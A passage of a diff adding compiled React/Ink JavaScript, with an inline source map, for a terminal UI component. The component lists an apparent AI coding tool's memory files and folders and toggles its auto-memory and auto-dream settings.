+          value: `${OPEN_FOLDER_PREFIX}${teamMemPaths.getTeamMemPath()}`,
+          description: ""
+        };
+        $[1] = t2;
+      } else {
+        t2 = $[1];
+      }
+      folderOptions.push(t2);
+    }
+    for (const agent of agentDefinitions.activeAgents) {
+      if (agent.memory) {
+        const agentDir = getAgentMemoryDir(agent.agentType, agent.memory);
+        folderOptions.push({
+          label: `Open ${chalk.bold(agent.agentType)} agent memory`,
+          value: `${OPEN_FOLDER_PREFIX}${agentDir}`,
+          description: `${agent.memory} scope`
+        });
+      }
+    }
+  }
+  memoryOptions.push(...folderOptions);
+  let t1;
+  if ($[2] !== memoryOptions) {
+    t1 = lastSelectedPath && memoryOptions.some(_temp4) ? lastSelectedPath : memoryOptions[0]?.value || "";
+    $[2] = memoryOptions;
+    $[3] = t1;
+  } else {
+    t1 = $[3];
+  }
+  const initialPath = t1;
+  const [autoMemoryOn, setAutoMemoryOn] = useState(isAutoMemoryEnabled);
+  const [autoDreamOn, setAutoDreamOn] = useState(isAutoDreamEnabled);
+  const [showDreamRow] = useState(isAutoMemoryEnabled);
+  const isDreamRunning = useAppState(_temp6);
+  const [lastDreamAt, setLastDreamAt] = useState(null);
+  let t2;
+  if ($[4] !== showDreamRow) {
+    t2 = () => {
+      if (!showDreamRow) {
+        return;
+      }
+      readLastConsolidatedAt().then(setLastDreamAt);
+    };
+    $[4] = showDreamRow;
+    $[5] = t2;
+  } else {
+    t2 = $[5];
+  }
+  let t3;
+  if ($[6] !== isDreamRunning || $[7] !== showDreamRow) {
+    t3 = [showDreamRow, isDreamRunning];
+    $[6] = isDreamRunning;
+    $[7] = showDreamRow;
+    $[8] = t3;
+  } else {
+    t3 = $[8];
+  }
+  useEffect(t2, t3);
+  let t4;
+  if ($[9] !== isDreamRunning || $[10] !== lastDreamAt) {
+    t4 = isDreamRunning ? "running" : lastDreamAt === null ? "" : lastDreamAt === 0 ? "never" : `last ran ${formatRelativeTimeAgo(new Date(lastDreamAt))}`;
+    $[9] = isDreamRunning;
+    $[10] = lastDreamAt;
+    $[11] = t4;
+  } else {
+    t4 = $[11];
+  }
+  const dreamStatus = t4;
+  const [focusedToggle, setFocusedToggle] = useState(null);
+  const toggleFocused = focusedToggle !== null;
+  const lastToggleIndex = showDreamRow ? 1 : 0;
+  let t5;
+  if ($[12] !== autoMemoryOn) {
+    t5 = function handleToggleAutoMemory() {
+      const newValue = !autoMemoryOn;
+      updateSettingsForSource("userSettings", {
+        autoMemoryEnabled: newValue
+      });
+      setAutoMemoryOn(newValue);
+      logEvent("tengu_auto_memory_toggled", {
+        enabled: newValue
+      });
+    };
+    $[12] = autoMemoryOn;
+    $[13] = t5;
+  } else {
+    t5 = $[13];
+  }
+  const handleToggleAutoMemory = t5;
+  let t6;
+  if ($[14] !== autoDreamOn) {
+    t6 = function handleToggleAutoDream() {
+      const newValue_0 = !autoDreamOn;
+      updateSettingsForSource("userSettings", {
+        autoDreamEnabled: newValue_0
+      });
+      setAutoDreamOn(newValue_0);
+      logEvent("tengu_auto_dream_toggled", {
+        enabled: newValue_0
+      });
+    };
+    $[14] = autoDreamOn;
+    $[15] = t6;
+  } else {
+    t6 = $[15];
+  }
+  const handleToggleAutoDream = t6;
+  useExitOnCtrlCDWithKeybindings();
+  let t7;
+  if ($[16] === Symbol.for("react.memo_cache_sentinel")) {
+    t7 = {
+      context: "Confirmation"
+    };
+    $[16] = t7;
+  } else {
+    t7 = $[16];
+  }
+  useKeybinding("confirm:no", onCancel, t7);
+  let t8;
+  if ($[17] !== focusedToggle || $[18] !== handleToggleAutoDream || $[19] !== handleToggleAutoMemory) {
+    t8 = () => {
+      if (focusedToggle === 0) {
+        handleToggleAutoMemory();
+      } else {
+        if (focusedToggle === 1) {
+          handleToggleAutoDream();
+        }
+      }
+    };
+    $[17] = focusedToggle;
+    $[18] = handleToggleAutoDream;
+    $[19] = handleToggleAutoMemory;
+    $[20] = t8;
+  } else {
+    t8 = $[20];
+  }
+  let t9;
+  if ($[21] !== toggleFocused) {
+    t9 = {
+      context: "Confirmation",
+      isActive: toggleFocused
+    };
+    $[21] = toggleFocused;
+    $[22] = t9;
+  } else {
+    t9 = $[22];
+  }
+  useKeybinding("confirm:yes", t8, t9);
+  let t10;
+  if ($[23] !== lastToggleIndex) {
+    t10 = () => {
+      setFocusedToggle(prev => prev !== null && prev < lastToggleIndex ? prev + 1 : null);
+    };
+    $[23] = lastToggleIndex;
+    $[24] = t10;
+  } else {
+    t10 = $[24];
+  }
+  let t11;
+  if ($[25] !== toggleFocused) {
+    t11 = {
+      context: "Select",
+      isActive: toggleFocused
+    };
+    $[25] = toggleFocused;
+    $[26] = t11;
+  } else {
+    t11 = $[26];
+  }
+  useKeybinding("select:next", t10, t11);
+  let t12;
+  if ($[27] === Symbol.for("react.memo_cache_sentinel")) {
+    t12 = () => {
+      setFocusedToggle(_temp7);
+    };
+    $[27] = t12;
+  } else {
+    t12 = $[27];
+  }
+  let t13;
+  if ($[28] !== toggleFocused) {
+    t13 = {
+      context: "Select",
+      isActive: toggleFocused
+    };
+    $[28] = toggleFocused;
+    $[29] = t13;
+  } else {
+    t13 = $[29];
+  }
+  useKeybinding("select:previous", t12, t13);
+  const t14 = focusedToggle === 0;
+  const t15 = autoMemoryOn ? "on" : "off";
+  let t16;
+  if ($[30] !== t15) {
+    t16 = <Text>Auto-memory: {t15}</Text>;
+    $[30] = t15;
+    $[31] = t16;
+  } else {
+    t16 = $[31];
+  }
+  let t17;
+  if ($[32] !== t14 || $[33] !== t16) {
+    t17 = <ListItem isFocused={t14}>{t16}</ListItem>;
+    $[32] = t14;
+    $[33] = t16;
+    $[34] = t17;
+  } else {
+    t17 = $[34];
+  }
+  let t18;
+  if ($[35] !== autoDreamOn || $[36] !== dreamStatus || $[37] !== focusedToggle || $[38] !== isDreamRunning || $[39] !== showDreamRow) {
+    t18 = showDreamRow && <ListItem isFocused={focusedToggle === 1} styled={false}><Text color={focusedToggle === 1 ? "suggestion" : undefined}>Auto-dream: {autoDreamOn ? "on" : "off"}{dreamStatus && <Text dimColor={true}> · {dreamStatus}</Text>}{!isDreamRunning && autoDreamOn && <Text dimColor={true}> · /dream to run</Text>}</Text></ListItem>;
+    $[35] = autoDreamOn;
+    $[36] = dreamStatus;
+    $[37] = focusedToggle;
+    $[38] = isDreamRunning;
+    $[39] = showDreamRow;
+    $[40] = t18;
+  } else {
+    t18 = $[40];
+  }
+  let t19;
+  if ($[41] !== t17 || $[42] !== t18) {
+    t19 = <Box flexDirection="column" marginBottom={1}>{t17}{t18}</Box>;
+    $[41] = t17;
+    $[42] = t18;
+    $[43] = t19;
+  } else {
+    t19 = $[43];
+  }
+  let t20;
+  if ($[44] !== onSelect) {
+    t20 = value => {
+      if (value.startsWith(OPEN_FOLDER_PREFIX)) {
+        const folderPath = value.slice(OPEN_FOLDER_PREFIX.length);
+        mkdir(folderPath, {
+          recursive: true
+        }).catch(_temp8).then(() => openPath(folderPath));
+        return;
+      }
+      lastSelectedPath = value;
+      onSelect(value);
+    };
+    $[44] = onSelect;
+    $[45] = t20;
+  } else {
+    t20 = $[45];
+  }
+  let t21;
+  if ($[46] !== lastToggleIndex) {
+    t21 = () => setFocusedToggle(lastToggleIndex);
+    $[46] = lastToggleIndex;
+    $[47] = t21;
+  } else {
+    t21 = $[47];
+  }
+  let t22;
+  if ($[48] !== initialPath || $[49] !== memoryOptions || $[50] !== onCancel || $[51] !== t20 || $[52] !== t21 || $[53] !== toggleFocused) {
+    t22 = <Select defaultFocusValue={initialPath} options={memoryOptions} isDisabled={toggleFocused} onChange={t20} onCancel={onCancel} onUpFromFirstItem={t21} />;
+    $[48] = initialPath;
+    $[49] = memoryOptions;
+    $[50] = onCancel;
+    $[51] = t20;
+    $[52] = t21;
+    $[53] = toggleFocused;
+    $[54] = t22;
+  } else {
+    t22 = $[54];
+  }
+  let t23;
+  if ($[55] !== t19 || $[56] !== t22) {
+    t23 = <Box flexDirection="column" width="100%">{t19}{t22}</Box>;
+    $[55] = t19;
+    $[56] = t22;
+    $[57] = t23;
+  } else {
+    t23 = $[57];
+  }
+  return t23;
+}
+function _temp8() {}
+function _temp7(prev_0) {
+  return prev_0 !== null && prev_0 > 0 ? prev_0 - 1 : prev_0;
+}
+function _temp6(s_0) {
+  return Object.values(s_0.tasks).some(_temp5);
+}
+function _temp5(t) {
+  return t.type === "dream" && t.status === "running";
+}
+function _temp4(opt) {
+  return opt.value === lastSelectedPath;
+}
+function _temp3(s) {
+  return s.agentDefinitions;
+}
+function _temp2(f_2) {
+  return {
+    ...f_2,
+    exists: true
+  };
+}
+function _temp(f_1) {
+  return f_1.type !== "AutoMem" && f_1.type !== "TeamMem";
+}
+//# sourceMappingURL=data:application/json;charset=utf-8;base64,{"version":3,"names":["feature","chalk","mkdir","join","React","use","useEffect","useState","getOriginalCwd","useExitOnCtrlCDWithKeybindings","Box","Text","useKeybinding","getAutoMemPath","isAutoMemoryEnabled","logEvent","isAutoDreamEnabled","readLastConsolidatedAt","useAppState","getAgentMemoryDir","openPath","getMemoryFiles","MemoryFileInfo","getClaudeConfigHomeDir","getDisplayPath","formatRelativeTimeAgo","projectIsInGitRepo","updateSettingsForSource","Select","ListItem","teamMemPaths","require","ExtendedMemoryFileInfo","isNested","exists","lastSelectedPath","OPEN_FOLDER_PREFIX","Props","onSelect","path","onCancel","MemoryFileSelector","t0","$","_c","existingMemoryFiles","userMemoryPath","projectMemoryPath","hasUserMemory","some","f","hasProjectMemory","f_0","allMemoryFiles","filter","_temp","map","_temp2","type","const","content","depths","Map","memoryOptions","file","displayPath","existsLabel","depth","parent","get","set","indent","repeat","label","description","isGit","value","folderOptions","agentDefinitions","_temp3","t1","Symbol","for","push","isTeamMemoryEnabled","t2","getTeamMemPath","agent","activeAgents","memory","agentDir","agentType","bold","_temp4","initialPath","autoMemoryOn","setAutoMemoryOn","autoDreamOn","setAutoDreamOn","showDreamRow","isDreamRunning","_temp6","lastDreamAt","setLastDreamAt","then","t3","t4","Date","dreamStatus","focusedToggle","setFocusedToggle","toggleFocused","lastToggleIndex","t5","handleToggleAutoMemory","newValue","autoMemoryEnabled","enabled","t6","handleToggleAutoDream","newValue_0","autoDreamEnabled","t7","context","t8","t9","isActive","t10","prev","t11","t12","_temp7","t13","t14","t15","t16","t17","t18","undefined","t19","t20","startsWith","folderPath","slice","length","recursive","catch","_temp8","t21","t22","t23","prev_0","s_0","Object","values","s","tasks","_temp5","t","status","opt","f_2","f_1"],"sources":["MemoryFileSelector.tsx"],"sourcesContent":["import { feature } from 'bun:bundle'\nimport chalk from 'chalk'\nimport { mkdir } from 'fs/promises'\nimport { join } from 'path'\nimport * as React from 'react'\nimport { use, useEffect, useState } from 'react'\nimport { getOriginalCwd } from '../../bootstrap/state.js'\nimport { useExitOnCtrlCDWithKeybindings } from '../../hooks/useExitOnCtrlCDWithKeybindings.js'\nimport { Box, Text } from '../../ink.js'\nimport { useKeybinding } from '../../keybindings/useKeybinding.js'\nimport { getAutoMemPath, isAutoMemoryEnabled } from '../../memdir/paths.js'\nimport { logEvent } from '../../services/analytics/index.js'\nimport { isAutoDreamEnabled } from '../../services/autoDream/config.js'\nimport { readLastConsolidatedAt } from '../../services/autoDream/consolidationLock.js'\nimport { useAppState } from '../../state/AppState.js'\nimport { getAgentMemoryDir } from '../../tools/AgentTool/agentMemory.js'\nimport { openPath } from '../../utils/browser.js'\nimport { getMemoryFiles, type MemoryFileInfo } from '../../utils/claudemd.js'\nimport { getClaudeConfigHomeDir } from '../../utils/envUtils.js'\nimport { getDisplayPath } from '../../utils/file.js'\nimport { formatRelativeTimeAgo } from '../../utils/format.js'\nimport { projectIsInGitRepo } from '../../utils/memory/versions.js'\nimport { updateSettingsForSource } from '../../utils/settings/settings.js'\nimport { Select } from '../CustomSelect/index.js'\nimport { ListItem } from '../design-system/ListItem.js'\n\n/* eslint-disable @typescript-eslint/no-require-imports */\nconst teamMemPaths = feature('TEAMMEM')\n  ? (require('../../memdir/teamMemPaths.js') as typeof import('../../memdir/teamMemPaths.js'))\n  : null\n/* eslint-enable @typescript-eslint/no-require-imports */\n\ninterface ExtendedMemoryFileInfo extends MemoryFileInfo {\n  isNested?: boolean\n  exists: boolean\n}\n\n// Remember last selected path\nlet lastSelectedPath: string | undefined\n\nconst OPEN_FOLDER_PREFIX = '__open_folder__'\n\ntype Props = {\n  onSelect: (path: string) => void\n  onCancel: () => void\n}\n\nexport function MemoryFileSelector({\n  onSelect,\n  onCancel,\n}: Props): React.ReactNode {\n  const existingMemoryFiles = use(getMemoryFiles())\n\n  // Create entries for User and Project CLAUDE.md even if they don't exist\n  const userMemoryPath = join(getClaudeConfigHomeDir(), 'CLAUDE.md')\n  const projectMemoryPath = join(getOriginalCwd(), 'CLAUDE.md')\n\n  // Check if these are already in the existing files\n  const hasUserMemory = existingMemoryFiles.some(f => f.path === userMemoryPath)\n  const hasProjectMemory = existingMemoryFiles.some(\n    f => f.path === projectMemoryPath,\n  )\n\n  // Filter out AutoMem/TeamMem entrypoints: these are MEMORY.md files, and\n  // /memory already surfaces \"Open auto-memory folder\" / \"Open team memory\n  // folder\" options below. Listing the entrypoint file separately is redundant.\n  const allMemoryFiles: ExtendedMemoryFileInfo[] = [\n    ...existingMemoryFiles\n      .filter(f => f.type !== 'AutoMem' && f.type !== 'TeamMem')\n      .map(f => ({ ...f, exists: true })),\n    // Add User memory if it doesn't exist\n    ...(hasUserMemory\n      ? []\n      : [\n          {\n            path: userMemoryPath,\n            type: 'User' as const,\n            content: '',\n            exists: false,\n          },\n        ]),\n    // Add Project memory if it doesn't exist\n    ...(hasProjectMemory\n      ? []\n      : [\n          {\n            path: projectMemoryPath,\n            type: 'Project' as const,\n            content: '',\n            exists: false,\n          },\n        ]),\n  ]\n\n  const depths = new Map<string, number>()\n\n  // Create options for the select component\n  const memoryOptions = allMemoryFiles.map(file => {\n    const displayPath = getDisplayPath(file.path)\n    const existsLabel = file.exists ? '' : ' (new)'\n\n    // Calculate depth based on parent\n    const depth = file.parent ? (depths.get(file.parent) ?? 0) + 1 : 0\n    depths.set(file.path, depth)\n    const indent = depth > 0 ? '  '.repeat(depth - 1) : ''\n\n    // Format label based on type\n    let label: string\n    if (\n      file.type === 'User' &&\n      !file.isNested &&\n      file.path === userMemoryPath\n    ) {\n      label = `User memory`\n    } else if (\n      file.type === 'Project' &&\n      !file.isNested &&\n      file.path === projectMemoryPath\n    ) {\n      label = `Project memory`\n    } else if (depth > 0) {\n      // For child nodes (imported files), show indented with L\n      label = `${indent}L ${displayPath}${existsLabel}`\n    } else {\n      // For other memory files, just show the path\n      label = `${displayPath}`\n    }\n\n    // Create description based on type - keep the original descriptions for built-in types\n    let description: string\n    const isGit = projectIsInGitRepo(getOriginalCwd())\n\n    if (file.type === 'User' && !file.isNested) {\n      description = 'Saved in ~/.claude/CLAUDE.md'\n    } else if (\n      file.type === 'Project' &&\n      !file.isNested &&\n      file.path === projectMemoryPath\n    ) {\n      description = `${isGit ? 'Checked in at' : 'Saved in'} ./CLAUDE.md`\n    } else if (file.parent) {\n      // For imported files (with @-import)\n      description = '@-imported'\n    } else if (file.isNested) {\n      // For nested files (dynamically loaded)\n      description = 'dynamically loaded'\n    } else {\n      description = ''\n    }\n\n    return {\n      label,\n      value: file.path,\n      description,\n    }\n  })\n\n  // Add \"Open folder\" options for auto-memory and agent memory directories\n  const folderOptions: Array<{\n    label: string\n    value: string\n    description: string\n  }> = []\n\n  const agentDefinitions = useAppState(s => s.agentDefinitions)\n  if (isAutoMemoryEnabled()) {\n    // Always show auto-memory folder option\n    folderOptions.push({\n      label: 'Open auto-memory folder',\n      value: `${OPEN_FOLDER_PREFIX}${getAutoMemPath()}`,\n      description: '',\n    })\n\n    // Team memory directly below auto-memory (team dir is a subdir of auto dir)\n    if (feature('TEAMMEM') && teamMemPaths!.isTeamMemoryEnabled()) {\n      folderOptions.push({\n        label: 'Open team memory folder',\n        value: `${OPEN_FOLDER_PREFIX}${teamMemPaths!.getTeamMemPath()}`,\n        description: '',\n      })\n    }\n\n    // Add agent memory folders for agents that have memory configured\n    for (const agent of agentDefinitions.activeAgents) {\n      if (agent.memory) {\n        const agentDir = getAgentMemoryDir(agent.agentType, agent.memory)\n        folderOptions.push({\n          label: `Open ${chalk.bold(agent.agentType)} agent memory`,\n          value: `${OPEN_FOLDER_PREFIX}${agentDir}`,\n          description: `${agent.memory} scope`,\n        })\n      }\n    }\n  }\n\n  memoryOptions.push(...folderOptions)\n\n  // Initialize with last selected path if it's still in the options, otherwise use first option\n  const initialPath =\n    lastSelectedPath &&\n    memoryOptions.some(opt => opt.value === lastSelectedPath)\n      ? lastSelectedPath\n      : memoryOptions[0]?.value || ''\n\n  // Toggle state (local copy of settings so the UI updates immediately)\n  const [autoMemoryOn, setAutoMemoryOn] = useState(isAutoMemoryEnabled)\n  const [autoDreamOn, setAutoDreamOn] = useState(isAutoDreamEnabled)\n\n  // Dream row is only meaningful when auto-memory is on (dream consolidates\n  // that dir). Snapshot at mount so the row doesn't vanish mid-navigation\n  // if the user toggles auto-memory off.\n  const [showDreamRow] = useState(isAutoMemoryEnabled)\n\n  // Dream status: prefer live task state (this session fired it), fall back\n  // to the cross-process lock mtime.\n  const isDreamRunning = useAppState(s =>\n    Object.values(s.tasks).some(\n      t => t.type === 'dream' && t.status === 'running',\n    ),\n  )\n  const [lastDreamAt, setLastDreamAt] = useState<number | null>(null)\n  useEffect(() => {\n    if (!showDreamRow) return\n    void readLastConsolidatedAt().then(setLastDreamAt)\n  }, [showDreamRow, isDreamRunning])\n\n  const dreamStatus = isDreamRunning\n    ? 'running'\n    : lastDreamAt === null\n      ? '' // stat in flight\n      : lastDreamAt === 0\n        ? 'never'\n        : `last ran ${formatRelativeTimeAgo(new Date(lastDreamAt))}`\n\n  // null = Select has focus, 0 = auto-memory, 1 = auto-dream (if showDreamRow)\n  const [focusedToggle, setFocusedToggle] = useState<number | null>(null)\n  const toggleFocused = focusedToggle !== null\n  const lastToggleIndex = showDreamRow ? 1 : 0\n\n  function handleToggleAutoMemory(): void {\n    const newValue = !autoMemoryOn\n    updateSettingsForSource('userSettings', { autoMemoryEnabled: newValue })\n    setAutoMemoryOn(newValue)\n    logEvent('tengu_auto_memory_toggled', { enabled: newValue })\n  }\n\n  function handleToggleAutoDream(): void {\n    const newValue = !autoDreamOn\n    updateSettingsForSource('userSettings', { autoDreamEnabled: newValue })\n    setAutoDreamOn(newValue)\n    logEvent('tengu_auto_dream_toggled', { enabled: newValue })\n  }\n\n  useExitOnCtrlCDWithKeybindings()\n\n  useKeybinding('confirm:no', onCancel, { context: 'Confirmation' })\n\n  useKeybinding(\n    'confirm:yes',\n    () => {\n      if (focusedToggle === 0) handleToggleAutoMemory()\n      else if (focusedToggle === 1) handleToggleAutoDream()\n    },\n    { context: 'Confirmation', isActive: toggleFocused },\n  )\n  useKeybinding(\n    'select:next',\n    () => {\n      setFocusedToggle(prev =>\n        prev !== null && prev < lastToggleIndex ? prev + 1 : null,\n      )\n    },\n    { context: 'Select', isActive: toggleFocused },\n  )\n  useKeybinding(\n    'select:previous',\n    () => {\n      setFocusedToggle(prev => (prev !== null && prev > 0 ? prev - 1 : prev))\n    },\n    { context: 'Select', isActive: toggleFocused },\n  )\n\n  return (\n    <Box flexDirection=\"column\" width=\"100%\">\n      <Box flexDirection=\"column\" marginBottom={1}>\n        <ListItem isFocused={focusedToggle === 0}>\n          <Text>Auto-memory: {autoMemoryOn ? 'on' : 'off'}</Text>\n        </ListItem>\n        {showDreamRow && (\n          <ListItem isFocused={focusedToggle === 1} styled={false}>\n            <Text color={focusedToggle === 1 ? 'suggestion' : undefined}>\n              Auto-dream: {autoDreamOn ? 'on' : 'off'}\n              {dreamStatus && <Text dimColor> · {dreamStatus}</Text>}\n              {!isDreamRunning && autoDreamOn && (\n                <Text dimColor> · /dream to run</Text>\n              )}\n            </Text>\n          </ListItem>\n        )}\n      </Box>\n\n      <Select\n        defaultFocusValue={initialPath}\n        options={memoryOptions}\n        isDisabled={toggleFocused}\n        onChange={value => {\n          if (value.startsWith(OPEN_FOLDER_PREFIX)) {\n            const folderPath = value.slice(OPEN_FOLDER_PREFIX.length)\n            // Ensure folder exists before opening (idempotent; swallow\n            // permission errors to match previous behavior)\n            void mkdir(folderPath, { recursive: true })\n              .catch(() => {})\n              .then(() => openPath(folderPath))\n            return\n          }\n          lastSelectedPath = value // Remember the selection\n          onSelect(value)\n        }}\n        onCancel={onCancel}\n        onUpFromFirstItem={() => setFocusedToggle(lastToggleIndex)}\n      />\n    </Box>\n  )\n}\n"],"mappings":"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